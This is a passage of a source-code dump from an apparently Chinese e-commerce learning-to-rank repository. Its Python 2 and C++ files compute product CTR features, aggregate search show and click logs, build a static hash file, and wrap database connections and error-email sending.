Exception,ex:\n\t\t\tself.logger.error(ex)\n\t\t\tprint 'Can not connect to dbserver'\n\t\t\tself.mail_sender.sendMail(self.mail_recivers)\n\t\t\traise Exception, ex\n\t\tfinally:\n\t\t\tif srcfile:\n\t\t\t\tsrcfile.close()\n\t\t\tif disfile:\n\t\t\t\tdisfile.close()\n\n\tdef featureProcess(self, pid_feature):\t\n\t\tpid_processed_feature = {}\n\n\t\tis_new = str2int(pid_feature['is_new'])\n\t\tpid_processed_feature['is_new'] = is_new\t\t\n\n\t\tis_promo = str2int(pid_feature['is_discount'])\n\t\tpid_processed_feature['is_discount'] = is_promo\n\n\t\tscore = str2float(pid_feature['score'])\n\t\tif score >= 8:\n\t\t\tscore = 1\n\t\telse:\n\t\t\tscore = 0\n\t\tpid_processed_feature['score'] = score\n\n\t\td_uv = self.normalizedFeature(pid_feature['d_uv'], 50, False)\n\t\tpid_processed_feature['d_uv'] = d_uv\n\n\t\tw_uv = self.normalizedFeature(pid_feature['w_uv'])\n\t\tpid_processed_feature['w_uv'] = w_uv\n\n\t\tm_uv = self.normalizedFeature(pid_feature['m_uv'])\n\t\tpid_processed_feature['m_uv'] = m_uv\n\n\t\tn_comm = self.normalizedFeature(pid_feature['review_total'])\n\t\tpid_processed_feature['review_total'] = n_comm\n\n\t\tn_keep = self.normalizedFeature(pid_feature['n_keep'])\t\t\n\t\tpid_processed_feature['n_keep'] = n_keep\n\n\t\treturn pid_processed_feature\n\n\n\tdef estimateCTR(self, pid, pid_feature_dt):\n\t\tctr = self.weight_value['bias']\n\t\tfor k,w in self.weight_value.items():\n\t\t\tif k == 'bias':\n\t\t\t\tcontinue\n\t\t\tfeature_val = 0\n\t\t\tif k in pid_feature_dt:\n\t\t\t\tfeature_val = pid_feature_dt[k]\n\t\t\tctr += w*feature_val\n\t\treturn pid, 1.0/(1 + math.exp(0 - ctr))\n\n\tdef run(self, weightpath, srcfilepath, disfilepath):\n\t\tself.initWeights(weightpath)\n\t\t#print self.weight_value\n\t\tself.loadLogData(srcfilepath, disfilepath)\n\t\t\ndef str2float(f_str):\n\tval = 0\n\ttry:\n\t\tval = float(f_str)\n\t\tif val < 0:\n\t\t\tval = 0\n\texcept:\n\t\tval = 0\n\treturn val\n\ndef str2int(i_str):\n\tval = 0\n\ttry:\n\t\tval = int(i_str)\n\t\tif val < 0:\n\t\t\tval = 0\n\texcept:\n\t\tval = 0\n\treturn val\t\n\n\ndef main():\n\tif len(sys.argv) != 2:\n\t\treturn\n\tcurday = sys.argv[1]\n\tweightpath = \"../data/model.txt\"\n\tsrcfilepath = \"../data/product_info_%s\" % curday\n\tdisfilepath = \"../data/pid_ctr\"\n\to = CaculateFeatures4Model()\n\to.run(weightpath, srcfilepath, disfilepath)\n\nif __name__ == \"__main__\":\n\tmain()\n"},{"alpha_fraction":0.5661393404006958,"alphanum_fraction":0.5792662501335144,"avg_line_length":21.49242401123047,"blob_id":"6a037f7bc6cf5600813f699c47bd0b1c7d04a7a5","content_id":"6610c22f43c7c37a9d5a027e5021137730f8ab8e","detected_licenses":[],"is_generated":false,"is_vendor":false,"language":"Python","length_bytes":2971,"license_type":"no_license","max_line_length":73,"num_lines":132,"path":"/bin/process_show_click_data.py","repo_name":"magicbupt/ltr_feartures_compute_job","src_encoding":"UTF-8","text":"\n\nclass CalShowClick():\n\tdef __init__(self):\n\t\tself.query_click = {}\n\t\tself.query_show = {}\n\t\tself.query_position = {}\n\t\tself.query_searchtime = {}\n\n\tdef getClickData(self, srcpath):\n\t\tfile = None\n\t\ttry:\n\t\t\tfile = open(srcpath, 'r')\n\t\t\twhile True:\n\t\t\t\tline = file.readline()\n\t\t\t\tif not line:\n\t\t\t\t\tbreak\n\t\t\t\t\n\t\t\t\tarray = line.strip().split('\\t')\n\t\t\t\tquery = array[0].replace(\" \",\"\").replace(\"\\t\", \"\").replace(\"\\n\", \"\");\n\t\t\t\tdict_pid_click = {}\n\t\t\t\tfor i in range(1, len(array)):\n\t\t\t\t\tpid_click_str = array[i].strip().split(':')\n\t\t\t\t\tif len(pid_click_str) != 2:\n\t\t\t\t\t\tcontinue\n\n\t\t\t\t\tpid = str2int(pid_click_str[0])\n\t\t\t\t\tn_click = str2int(pid_click_str[1])\n\t\t\t\t\tdict_pid_click[pid] = n_click\n\t\t\t\t\t\n\t\t\t\tif query not in self.query_click:\n\t\t\t\t\tself.query_click[query] = dict_pid_click\n\t\t\t\t#print query\n\t\texcept Exception,ex:\n\t\t\tprint ex\n\t\tfinally:\n\t\t\tif file:\n\t\t\t\tfile.close()\n\n\tdef getShowData(self, srcpath):\n\t\tfile = None\n\t\ttry:\n\t\t\tfile = open(srcpath, 'r')\n\t\t\twhile True:\n\t\t\t\tline = file.readline()\n\t\t\t\tif not line:\n\t\t\t\t\tbreak\n\n\t\t\t\tarray = line.strip().split('|')\n\t\t\t\tlenght = len(array)\n\t\t\t\tif lenght < 2:\n\t\t\t\t\tcontinue\n\n\t\t\t\tquery = array[0].replace(\" \",\"\").replace(\"\\t\", \"\");\n\t\t\t\tn_search = array[1]\n\t\t\t\tdict_pid_show = {}\n\t\t\t\tdict_pid_pos = {}\n\t\t\t\tfor i in range(2, lenght):\n\t\t\t\t\ttmp_str = array[i].strip().split(':')\n\t\t\t\t\tif len(tmp_str) != 3:\n\t\t\t\t\t\tbreak\n\n\t\t\t\t\tpid = str2int(tmp_str[0])\n\t\t\t\t\tpos = str2int(tmp_str[1])\n\t\t\t\t\tn_show = str2int(tmp_str[2])\n\t\t\t\t\tdict_pid_show[pid] = n_show\n\t\t\t\t\tdict_pid_pos[pid] = pos\n\n\t\t\t\tself.query_show[query] = dict_pid_show\n\t\t\t\tself.query_searchtime[query] = n_search\n\t\t\t\tself.query_position[query] = dict_pid_pos\n\t\t\t\t\n\t\t\t\t#print query\n\t\texcept Exception,ex:\n\t\t\tprint ex\n\t\tfinally:\n\t\t\tif file:\n\t\t\t\tfile.close()\n\tdef saveData(self, dispath):\n\t\tfile = None\n\t\ttry:\n\t\t\tfile = open(dispath, \"w+\")\n\t\t\tfor query, pid_show_dict in self.query_show.items():\n\n\t\t\t\tn_search = 0\n\t\t\t\tif query in self.query_searchtime:\n\t\t\t\t\tn_search = self.query_searchtime[query]\n\t\t\t\t\n\t\t\t\tfor pid, n_show in pid_show_dict.items():\n\t\t\t\t\tpos = self.query_position[query][pid]\n\t\t\t\t\tn_click = 0\n\t\t\t\t\tif query in self.query_click:\n\t\t\t\t\t\tif pid in self.query_click[query]:\n\t\t\t\t\t\t\tn_click = self.query_click[query][pid]\n\n\t\t\t\t\tfile.write(\"%s\\t%s\\t%s\\t%s\\t%s\\t%s\\n\" % (query,\\\n\t\t\t\t\t\t n_search, pid, pos, n_show, n_click))\n\n\t\texcept Exception,ex:\n\t\t\tprint ex\n\t\tfinally:\n\t\t\tif file:\n\t\t\t\tfile.close()\n\t\t\t\t\n\ndef str2int(i_str):\t \n\tval = 0\t\t\t\t\n\ttry:\t\t\t\t\t\n\t\tval = int(i_str)\t \n\t\tif val < 0:\t\t\t\n\t\t\tval = 0\t\t\t \n\texcept:\t\t\t\t\t \n\t\tval = 0\t\t\t\t\t\n\treturn val\n\n\ndef main():\n\tprint \"go ...\"\n\to = CalShowClick()\n\tshow_filepath = \"../data/show_click_tmp_data/log-20131031_search.clean\"\n\tclick_filepath = \"../data/show_click_tmp_data/search-131031\"\n\tdispath = \"../data/query_data\"\n\tprint \"show time ...\"\n\to.getShowData(show_filepath)\n\tprint \"click time ...\"\n\to.getClickData(click_filepath)\t\n\tprint \"save data ..\"\n\to.saveData(dispath)\n\tprint \"ok !\"\n\n\n\nif __name__ == \"__main__\":\n\tmain()\n"},{"alpha_fraction":0.617451548576355,"alphanum_fraction":0.636565089225769,"avg_line_length":23.385135650634766,"blob_id":"16bd50ac7769db0e8b4081c6ffd31a5cf8b70da7","content_id":"70f3bbfe20d771d26c7656c4a8dcfc9016500db5","detected_licenses":[],"is_generated":false,"is_vendor":false,"language":"Python","length_bytes":3610,"license_type":"no_license","max_line_length":83,"num_lines":148,"path":"/bin/main.py","repo_name":"magicbupt/ltr_feartures_compute_job","src_encoding":"UTF-8","text":"#!/usr/bin/env python\n\nimport time, datetime\n\nfrom get_product_info import ProductInfo\nfrom process_show_click_data import CalShowClick\n\ndef saveData(product_info_obj, show_click_obj, dispath):\n\tfile = None\n\ttry:\n\t\tfile = open(dispath, \"w+\")\n\t\tfor query, pid_show_dict in show_click_obj.query_show.items():\n\n\t\t\tn_search = 0\n\t\t\tif query in show_click_obj.query_searchtime:\n\t\t\t\tn_search = show_click_obj.query_searchtime[query]\n\n\t\t\tfor pid, n_show in pid_show_dict.items():\n\t\t\t\tpos = show_click_obj.query_position[query][pid]\n\t\t\t\tn_click = 0\n\t\t\t\tif query in show_click_obj.query_click:\n\t\t\t\t\tif pid in show_click_obj.query_click[query]:\n\t\t\t\t\t\tn_click = show_click_obj.query_click[query][pid]\n\t\t\t\t\n\t\t\t\tproduct_info = \"0\\t0\\t0\\t0\\t0\\t0\\t0\\t0\\t0\\t0\\t0\\t0\\t0\\t0\\t0\\t0\"\n\t\t\t\tif pid in product_info_obj.pid_info:\n\t\t\t\t\tproduct_info = product_info_obj.pid_info[pid]\n\n\t\t\t\tfile.write(\"%s\\t%s\\t%s\\t%s\\t%s\\t%s\\t%s\\n\" % (query,\\\n\t\t\t\t\t n_search, pid, pos, n_show, n_click, product_info))\n\n\texcept Exception,ex:\n\t\tprint ex\n\tfinally:\n\t\tif file:\n\t\t\tfile.close()\t\n\n\ndef prepareSVMRankFile(filepath, disfilepath, lenght, feature_num, feature_index):\n\tsrcfile = None\n\tdisfile = None\n\n\tqid = 0\n\tquery_old = None\n\ttry:\n\t\tsrcfile = open(filepath, 'r')\n\t\tdisfile = open(disfilepath, 'a+')\n\t\tflag = 0\n\t\twhile True:\n\t\t\tline = srcfile.readline()\n\t\t\tif not line:\n\t\t\t\tbreak\n\t\t\tarray = line.strip('\\n').split(\"\\t\")\n\n\t\t\tif len(array) != feature_num:\n\t\t\t\tcontinue\n\n\t\t\tquery = array[0]\n\t\t\tshow_time = int(array[4])\n\t\t\tclick_time = int(array[5])\n\t\t\t\n\t\t\tif query != query_old:\n\t\t\t\tqid += 1\n\t\t\t\tquery_old = query\n\t\t\t\tflag = 0\n\t\t\t\tif int(array[6]) == 0:\n\t\t\t\t\tflag = 1\n\n\t\t\tif flag == 1:\n\t\t\t\tcontinue\n\n\t\t\t#str = \"%s qid:%s\" % (ctr, qid)\n\t\t\tstr = \"%s %s qid:%s\" % (click_time, show_time, qid)\n\t\t\tfor i in range(lenght):\n\t\t\t\tindex_id = feature_index[i]\n\t\t\t\tstr = \"%s %s:%s\" % (str, i+1, array[index_id])\n\n\t\t\tdisfile.write(\"%s\\n\" % str)\n\texcept Exception,ex:\n\t\tprint ex\n\tfinally:\n\t\tif srcfile:\n\t\t\tsrcfile.close()\n\t\tif disfile:\n\t\t\tdisfile.close()\n\ndef getSpecifiedDay(curday, n):\n\t'''\n\tget the n days ago\n\t'''\n\ttry:\n\t\tarray = curday.split('-')\n\t\tif len(array) != 3:\n\t\t\treturn\n\t\tyear = int(array[0])\n\t\tmonth = int(array[1])\n\t\tday = int(array[2])\n\t\tpreday = datetime.datetime(year, month, day) - datetime.timedelta(n)\n\t\treturn preday.strftime(\"%Y%m%d\")\n\texcept Exception ,ex:\n\t\tprint 'get preday error~~'\n\t\traise ex\n\treturn\n\n\ndef main():\n\t\n\tprint \"go ...\"\n\tdata_path = \"../data\"\n\t\n\tcurday = datetime.datetime.now().strftime('%Y-%m-%d')\n\tcurday = getSpecifiedDay(curday, 1)\n\n\tprint \"product info ...\"\t\n\tproduct_info_obj = ProductInfo()\n\tproduct_info_obj.run()\n\t\n\tprint \"caculate show ...\"\n\tshow_click_obj = CalShowClick()\n\t\n\tshow_filename = \"log-%s_search.clean\" % curday\n\tshow_filepath = \"%s/temp_data/%s\" % (data_path, show_filename)\n\tshow_click_obj.getShowData(show_filepath)\n\n\tprint \"caculate click...\"\t\n\tclick_filename = \"search-%s\" % curday[2:]\n\tclick_filepath = \"%s/temp_data/%s\" % (data_path, click_filename)\n\tshow_click_obj.getClickData(click_filepath)\n\n\tprint \"save search info ...\"\n\tsearch_log_filename = \"search_log_%s\" % curday\n\tdispath = \"%s/%s\" % (data_path, search_log_filename)\n\tsaveData(product_info_obj, show_click_obj, dispath)\n\n#\tprint \"conver data to svmrank format ...\"\t\n#\tsvmrank_filename = \"svmrank_data_%s\" % curday\n#\tsvmrank_filepath = \"%s/%s\" % (data_path, svmrank_filename)\n#\tlenght = 16\n#\tfeature_num = 23 \n#\tfeature_index = [7, 8, 9, 10, 11, 12, 13, 14, 15, 16, 17, 18, 19, 20, 21, 22]\t\n#\tprepareSVMRankFile(dispath, svmrank_filepath, lenght, feature_num, feature_index)\n\tprint \"end !\"\t\n\t\n\n\n\nif __name__ == \"__main__\":\n\tmain()\t\n"},{"alpha_fraction":0.6327652335166931,"alphanum_fraction":0.64211106300354,"avg_line_length":21.456790924072266,"blob_id":"cda485fde8ab3bbb57ccc4fefda5e4a47949cc2a","content_id":"ee02209925a875476bbef292a49f654d2985d8cb","detected_licenses":[],"is_generated":false,"is_vendor":false,"language":"C++","length_bytes":1819,"license_type":"no_license","max_line_length":91,"num_lines":81,"path":"/bin/map2staticmap.cpp","repo_name":"magicbupt/ltr_feartures_compute_job","src_encoding":"UTF-8","text":"#include<iostream>\n#include<string>\n#include<map>\n#include<vector>\n#include <fstream>\n\n#include\"nokey_static_hash.h\"\n\nusing namespace std;\n\n\ninline void split(const string& str, const string& sp, vector<string>& out) {\n\tout.clear();\n\tstring s = str;\n\tsize_t beg, end;\n\twhile (!s.empty()) {\n\t\tbeg = s.find_first_not_of(sp);\n\t\tif (beg == string::npos) {\n\t\t\tbreak;\n\t\t}\n\t\tend = s.find(sp, beg);\n\t\tout.push_back(s.substr(beg, end - beg));\n\t\tif (end == string::npos) {\n\t\t\tbreak;\n\t\t}\n\t\ts = s.substr(end, s.size() - end);\n\t}\n}\n\nint main(int argc, char** argv)\n{\n\tstring srcfilepath = \"../data/pid_ctr\"; //srcfile path\n\tifstream fin(srcfilepath.c_str());\n\tif(!fin)\n\t{\n\t\t//LOG_MSG_INFO(\"\\topen srcfile:pid_ranking_val.txt fail\");\n\t\tcout<<\"open srcfile:search_data_log fail\"<<endl;\n\t\treturn -1;\n\t}\n\n\t//tmp map for read data from srcfile to memory\n\tmap<int, double> m_pid_rankvalue;\n\tstring line;\n\twhile(getline(fin, line)){\n\t\tvector<string> tmp_vec;\n\t\tsplit(line, \"\\t\", tmp_vec);\n\t\tif(tmp_vec.size() != 2)\n\t\t{\n\t\t\tcontinue;\n\t\t}\n\n\t\tint pid = atoi(tmp_vec[0].c_str());\n\t\tdouble rank_val = atof(tmp_vec[1].c_str());\n\n\t\tm_pid_rankvalue[pid] = rank_val;\n\t}\n\n\tstatic_hash_map<int, double> shm_pid_rankvalue; //static_hash_map \n\tif(shm_pid_rankvalue.container_to_hash_file(m_pid_rankvalue, 15, \"../data/pid2rankvalue\"))\n\t{\n\t\t//LOG_MSG_INFO(\"\\twrite hash file success\");\n\t\tcout<<\"write hash file success\"<<endl;\n\t}\n\telse\n\t{\n\t\t//LOG_MSG_ERROR(\"\\twrite hash file fail!\");\n\t\tcout<<\"write hash file fail\"<<endl;\n\t}\n\n\t/*\t\n\tcout<<\"i am here\"<<endl;\n\tstatic_hash_map<int, double> shm_pid2value;\n \tshm_pid2value.load_serialized_hash_file(\"../data/pid2rankvalue\", 0);\n\tcout<<shm_pid2value.size()<<endl;\n\tcout<<shm_pid2value[479]<<endl;\n\t//LOG_MSG_INFO(\"WRITE HASH VALUE TO FILE END\");\n\t*/\n\tcout<<\"WRITE HASH VALUE TO FILE END\"<<endl;\n\n\treturn 0;\n}\n"},{"alpha_fraction":0.43412625789642334,"alphanum_fraction":0.4387008249759674,"avg_line_length":29.774648666381836,"blob_id":"3de1427f1028b2030378b24a276093caa3231e65","content_id":"0b6b82415e95650f56d8c6dd58569aab4607e4f1","detected_licenses":[],"is_generated":false,"is_vendor":false,"language":"Python","length_bytes":2280,"license_type":"no_license","max_line_length":110,"num_lines":71,"path":"/lib/db_factory.py","repo_name":"magicbupt/ltr_feartures_compute_job","src_encoding":"UTF-8","text":"#!/usr/bin/env python\n#encoding:utf8\n\nimport sys\nimport time\n\nfrom data_access_object import DataObject\n\nclass DBFactory(object):\n '''\n 多次连接数据库公用方法\n CONN_NUM 连接次数\n SLEEP_TIME 每次中断时间\n '''\n CONN_NUM = 3\n SLEEP_TIME = 5 \n\n @staticmethod\n def Connect(dbtype, host = '', dsn = '', database = '', charset = '', user = '', password = '', port = 0):\n '''\n 输入连接参数连接数据库\n '''\n num = 0\n db_conn = None\n\n while(True):\n try:\n num += 1\n db_conn = DataObject.Connect(dbtype, host, dsn, database, charset, user, password, port)\n return db_conn\n except Exception,ex:\n if num <= DBFactory.CONN_NUM:\n time.sleep(DBFactory.SLEEP_TIME)\n num += 1\n else:\n raise Exception, '(DB connect Error)%s' % ex\n \n\n @staticmethod\n def connect_conf(config,dbkey):\n '''\n 输入连接conf,以及连接对应的才conf中key连接\n '''\n num = 0\n db_conn = None\n\n while(True):\n try:\n num += 1\n db_conn = DBFactory._get_connect(config,dbkey)\n return db_conn\n except Exception,ex:\n if num <= DBFactory.CONN_NUM:\n time.sleep(DBFactory.SLEEP_TIME)\n num += 1\n else:\n raise Exception, '(DB connect Error)%s' % ex\n\n @staticmethod\n def _get_connect(config,dbkey):\n db_type = config.get(dbkey, 'db_type')\n db_conf = eval(config.get(dbkey, 'db_conf'))\n db_conn = DataObject.Connect(db_type,\n host = db_conf.get('host'),\n dsn = db_conf.get('dsn',''),\n database = db_conf.get('db'),\n charset = db_conf.get('charset',''),\n user = db_conf.get('user'),\n password = db_conf.get('passwd'),\n port = db_conf.get('port'))\n return db_conn\n\n"},{"alpha_fraction":0.6465652585029602,"alphanum_fraction":0.6523334980010986,"avg_line_length":19.717391967773438,"blob_id":"a4365870058e2be2c2811acacd146a69dc4de37a","content_id":"d063bdd34224b3b3f0addbaa4256b7ab2ad6440c","detected_licenses":[],"is_generated":false,"is_vendor":false,"language":"Python","length_bytes":2051,"license_type":"no_license","max_line_length":94,"num_lines":92,"path":"/lib/mail_sender.py","repo_name":"magicbupt/ltr_feartures_compute_job","src_encoding":"UTF-8","text":"#!/usr/bin/env python\n#encoding:utf8\n\n## Author : xiaominggege\n## Modited: liuxufeng\n## last change time: 2012-08-21\n## work for: 发送错误邮件，邮件内容包含了traceback信息\n## 不支持：\n##\t 附件，抄送\n\nimport os\nimport sys\nimport traceback\nimport inspect\nimport datetime\nimport smtplib, mimetypes\nfrom email.MIMEText import MIMEText\n\n\nclass MailSender(object):\n\t'''\n\t向邮箱发送错误信息\n\t用法：MailSender().SendMail(receiverlist, sub = 'AntiFraud ERROR', content= 'Error info')\n\t'''\n\tdef __init__(self):\n\t\tself.frm = \"ddclick_download_script@dangdang.com\"\n\t\tself.message = '' # restore the info of traceback\n\t\tself.errFilePath = ''\n\t\n\tdef write(self, str):\n\t\t'''\n\t\t把traceback信息存储必须的函数\n\t\t'''\n\t\tself.message += str\n\n\tdef __getContent(self):\n\t\t'''\n\t\t得到traceback信息\n\t\t'''\n\t\ttraceback.print_exc(file = self)\n\n\tdef __getReceiverList(self, receivers) :\n\t\t'''\n\t\t得到收件人列表\n\t\t'''\n\t\tif isinstance(receivers, list):\n\t\t\treturn ';'.join(receivers)\n\t\treturn receivers\n\n\tdef __getErrFilePath(self):\n\t\t'''\n\t\t得到发生error的文件的路径\n\t\t'''\n\t\tn = len(inspect.stack())\n\t\tcurrent_file = inspect.stack()[n-1][1]\n\t\treturn os.path.abspath(current_file)\n\t\n\tdef sendMail(self, receiver, sub = 'AntiFraud ERROR', content= 'Error info'):\n\t\t'''\n\t\t发送邮件\n\t\t'''\n\t\treceiverlist = self.__getReceiverList(receiver)\n\t\tself.__getContent()\n\t\tself.errFilePath = self.__getErrFilePath()\n\t\tcontent = \">>>%s<<<%s%s%s%s\" % (content, '\\nin: ',str(self.errFilePath), '\\n', self.message)\n\t\ttry:\n\t\t\tmsg = MIMEText(content)\n\t\t\tmsg['From'] = self.frm\n\t\t\tmsg['To'] = receiverlist\n\t\t\tmsg['Subject'] = sub\n\t\t\tsmtp_server = smtplib.SMTP('localhost')\n\t\t\tsmtp_server.sendmail(self.frm, receiver, msg.as_string())\n\t\t\tsmtp_server.quit()\n\t\texcept Exception, ex:\n\t\t\tprint 'Error when sending email'\n\t\t\traise ex\n\t#\n\ndef test():\n\treceiver = ['516269695@qq.com']\n\tmm = MailSender()\n\ttry:\n\t\ta = int('')\n\texcept Exception, ex:\n\t\t#sub = 'Error'\n\t\t#content = 'ERror when program running'\n\t\tprint ex\n\t\tmm.sendMail(receiver)\n\n\t\nif __name__ =='__main__':\n\ttest()\n\n"},{"alpha_fraction":0.6179859042167664,"alphanum_fraction":0.6268935203552246,"avg_line_length":23.7009220123291,"blob_id":"281afe51dea68b139d29ff8b3e67102d6a478fe4","content_id":"60cdf43b8c582f2da9e1a56e487ea4e71ca1befa","detected_licenses":[],"is_generated":false,"is_vendor":false,"language":"Python","length_bytes":20350,"license_type":"no_license","max_line_length":119,"num_lines":759,"path":"/lib/data_access_object.py","repo_name":"magicbupt/ltr_feartures_compute_job","src_encoding":"UTF-8","text":"#!/usr/bin/env python\n# -*- coding: utf-8 -*-\n'''\n Author:yuecong\n UploadTime:2012-07-22 17:07:00\n'''\n\nimport re\nimport sys\nimport ConfigParser\n#sys.path.append('/usr/local/hive')\n\n#from hive_service import ThriftHive\n#from hive_service.ttypes import HiveServerException\nfrom thrift import Thrift\nfrom thrift.transport import TSocket\nfrom thrift.transport import TTransport\nfrom thrift.protocol import TBinaryProtocol\n \nclass DataObject(object):\n\tdef __init__(self):\n\t\tself.conn_str = []\n\t\tself.conn = None\n\t\tself.cursor = None\n\t\tself.rowcount = 0\n\t\tself.config = None\n\t\tself.tmpfile = ''\n\t\tself.debug_mode = False \n\t\treload(sys)\n\t\tsys.setdefaultencoding('utf8')\n\n\n\tdef connect(self,dbtype, host = '', dsn = '', database = '', charset = '', user = '', password = '', port = 0):\n\t\t'''\n\t\t\t连接指定的数据源，MySQL,SQLServer,Oracle,Hive\n\t\t\tparams:\n\t\t\tdbtype: 'mysql', 'mssql', 'oracle', 'hive'\n\t\t\thost: 域名或ip地址\n\t\t\tdsn: 连接oracle数据库专用\n\t\t\tcharset: 如果原生的驱动支持charset选项，则可以设置，MySQLdb, pymssql支持， cx_Oracle与HIveThrift不支持\n\t\t'''\n\t\tself.conn_str = [dbtype,host,user,password,database,port,charset]\n\n\t\t_dbtype = dbtype.lower()\n\t\t_host = host\n\t\t_dsn = dsn\n\t\t_user = user\n\t\t_password = password\n\t\t_db = database\n\t\t_port = int(port)\n\t\t_charset = charset\n\n\t\tif _dbtype == 'mysql':\n\t\t\timport MySQLdb\n\t\t\tself.conn = MySQLdb.connect(host = _host, db = _db, port = _port, charset = _charset, \\\n\t\t\t\t\t\t\t\t user = _user, passwd = _password, use_unicode = 'True')\n\t\tif _dbtype == 'mssql':\n\t\t\timport pymssql\n\t\t\tself.conn = pymssql.connect(host = _host, user = _user, password = _password, database = _db, charset = _charset) \n\n\t\tif _dbtype == 'oracle':\n\t\t\timport cx_Oracle\n\t\t\tself.conn = cx_Oracle.connect(user = _user, password = _password, dsn = _dsn)\n\n\t\tif _dbtype == 'hive':\n\t\t\ttry:\n\t\t\t\ttransport = TSocket.TSocket(host = _host, port = _port)\n\t\t\t\tself.conn = TTransport.TBufferedTransport(transport)\n\t\t\t\tself.conn.open()\n\t\t\texcept Thrift.TException, tx:\n\t\t\t\tsys.stderr.write('Hive Connection Error:%s\\n' % (tx))\n\t\t\t\tself.close()\n\t\t\t\traise SystemError, tx\n\t\treturn self\n\n\n\tdef Connect(dbtype, host = '', dsn = '', database = '', charset = '', user = '', password = '', port = 0):\n\t\t'''\n\t\t\tconnect函数的静态版\n\t\t\t返回一个DataObject连接对象\n\t\t'''\n\t\t_dbtype = dbtype.lower()\n\t\t_host = host\n\t\t_dsn = dsn\n\t\t_user = user\n\t\t_password = password\n\t\t_db = database\n\t\t_port = int(port)\n\t\t_charset = charset\n\n\t\tobj = DataObject()\n\t\treturn obj.connect(_dbtype, _host, _dsn, _db, _charset, _user, _password, _port)\n\tConnect = staticmethod(Connect)\n\n\n\tdef get_origin_conn(self):\n\t\t'''\n\t\t\t返回原生的连接对象，从而可以使用不同具体驱动的特性\n\t\t\t例如 mysql连接的DataObject对象将返回 MySQLdb对象，从而\n\t\t\t可以使用MySQLdb.connection的成员函数（方法）\n\t\t'''\n\t\treturn self.conn\n\n\n\tdef get_cursor(self):\n\t\t'''\n\t\t\t[deplicate function]\n\t\t\t在连接上获取一个cursor,最好不要直接调用\n\t\t'''\n\t\tif self.cursor:\n\t\t\tself.close_cursor()\n\n\t\tif self.conn_str[0] in ['mssql','oracle']:\n\t\t\tself.cursor = self.conn.cursor()\n\n\t\tif self.conn_str[0] in ['mysql']:\n\t\t\timport MySQLdb\n\t\t\tself.cursor = self.conn.cursor(cursorclass=MySQLdb.cursors.SSCursor)\n\n\t\tif self.conn_str[0] == 'hive':\n\t\t\ttry:\n\t\t\t\tprotocol = TBinaryProtocol.TBinaryProtocol(self.conn)\n\t\t\t\tself.cursor = ThriftHive.Client(protocol)\n\t\t\texcept Thrift.TException, ex:\n\t\t\t\tself.close()\n\t\t\t\tsys.stderr.write('%s\\n' % (ex))\n\t\t\t\traise SystemError, ex\n\t\treturn self.cursor\n\n\n\tdef close_cursor(self):\n\t\t'''\n\t\t\t[deplicate function]\n\t\t\t关闭此连接对象上的cursor\n\t\t'''\n\t\tif not self.cursor:\n\t\t\treturn\n\t\ttry:\n\t\t\tif self.conn_str[0] in ['mysql','mssql','oracle']:\n\t\t\t\tself.cursor.close()\n\t\t\t\tself.cursor = None\n\t\t\tif self.conn_str[0] == 'hive':\n\t\t\t\tself.cursor.clean()\n\t\texcept Exception,ex:\n\t\t\tprint ex \n\n\tdef _execute(self,cursor,sql):\n\t\t# 每次execute执行之前，将上次缓存的游标影响行数清空\n\t\tself.rowcount = 0\n\t\tif self.conn_str[0] in ['mysql','mssql','oracle']:\n\t\t\ttry:\n\t\t\t\tcursor.execute(sql)\n\t\t\texcept Exception, ex:\n\t\t\t\tsys.stderr.write('SQL or Interface Error:%s\\n[SQL]:%s\\n' % (ex,sql))\n\t\t\t\traise SystemError, 'SQL or Interface Error:%s\\n[SQL]:%s\\n' % (ex,sql)\n\t\tif self.conn_str[0] == 'hive':\n\t\t\ttry:\n\t\t\t\tcursor.execute(sql)\n\t\t\texcept Thrift.TException, ex:\n\t\t\t\tsys.stderr.write('SQL or Interface Error:%s\\n[SQL]:%s\\n' % (ex,sql))\n\t\t\t\traise SystemError, 'SQL or Interface Error:%s\\n[SQL]:%s\\n' % (ex,sql)\n\n\n\tdef _commit(self):\n\t\tself.conn.commit()\n\n\n\tdef execute(self,sql,params={}):\n\t\t'''\n\t\t\t在连接上执行一个query，params是一个字典，用params中的值替换sql中的键\n\t\t'''\n\t\tif not isinstance(params,dict):\n\t\t\tsys.stderr.write(\"Params Error:'%s' is not dictionary\\n\" % (params))\n\t\t\traise SystemError, \"Params Error:'%s' is not dictionary\\n\" % (params)\n\t\t#如果有参数，进行参数替换\n\t\tif len(params) != 0:\n\t\t\tsql = DataObject.Check_query(sql,params)\n\t\tself.get_cursor()\n\t\tif self.cursor == None:\n\t\t\traise NameError, 'self.cursor is not defined!\\n'\n\t\tself._execute(self.cursor, sql)\n\n\n\tdef commit(self):\n\t\t'''\n\t\t\t在非自动提交模式\n\t\t\t针对所有update, delete, insert更新操作（execute调用）\n\t\t\t执行一个提交操作\n\t\t\t只对事务性数据库有效\n\t\t'''\n\t\tself._commit()\n\n\n\tdef rollback(self):\n\t\t'''\n\t\t\t在非自动提交模式\n\t\t\t执行一个回滚操作\n\t\t\t对事务性数据库有效\n\t\t'''\n\t\tif self.conn_str[0] in ['mysql', 'mssql', 'oracle']:\n\t\t\tself.conn.rollback()\n\t\telse:\n\t\t\traise NotSupportedError, 'hive does not support rollback'\n\n\n\tdef Get_query(configpath,title,sqlname,params = {}):\n\t\t'''\n\t\t\tget_query的静态版本\n\t\t'''\n\t\tif not isinstance(params,dict):\n\t\t\tsys.stderr.write(\"Params Error:'%s' is not dictionary\\n\" % (params))\n\t\t\traise SystemError, \"Params Error:'%s' is not dictionary\\n\" % (params)\n\t\tconfig = ConfigParser.ConfigParser()\n\t\tconfig.read(configpath)\n\t\tsql = config.get(title,sqlname)\n\t\tsql = DataObject.Check_query(sql,params)\n\t\tsql = '\\x20'.join(sql.split('\\n'))\n\t\treturn sql\n\tGet_query = staticmethod(Get_query)\n\t\n\n\tdef get_query(self,configpath,title,sqlname,params = {}):\n\t\t'''\n\t\t\t从配置文件中获取一个sql，params是一个字典，在用值替换SQL中的键\n\t\t'''\n\t\tif not isinstance(params,dict):\n\t\t\tsys.stderr.write(\"Params Error:'%s' is not dictionary\\n\" % (params))\n\t\t\traise SystemError, \"Params Error:'%s' is not dictionary\\n\" % (params)\n\t\tconfig = ConfigParser.ConfigParser()\n\t\tconfig.read(configpath)\n\t\tsql = config.get(title,sqlname)\n\t\tsql = DataObject.Check_query(sql,params)\n\t\tsql = '\\x20'.join(sql.split('\\n'))\n\t\treturn sql \n\n\n\tdef create_table(self,sql):\n\t\t'''\n\t\t\t按照SQL创建一个表\n\t\t'''\n\t\tif self.conn_str[0] in 